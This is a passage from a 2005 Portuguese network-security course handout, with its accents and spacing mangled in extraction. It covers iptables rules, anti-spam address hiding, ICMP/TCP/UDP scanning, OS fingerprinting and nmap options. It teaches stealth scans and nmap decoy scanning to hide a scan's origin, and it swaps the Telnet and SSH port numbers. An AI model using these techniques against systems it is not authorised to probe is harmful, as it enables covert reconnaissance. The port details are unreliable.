Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

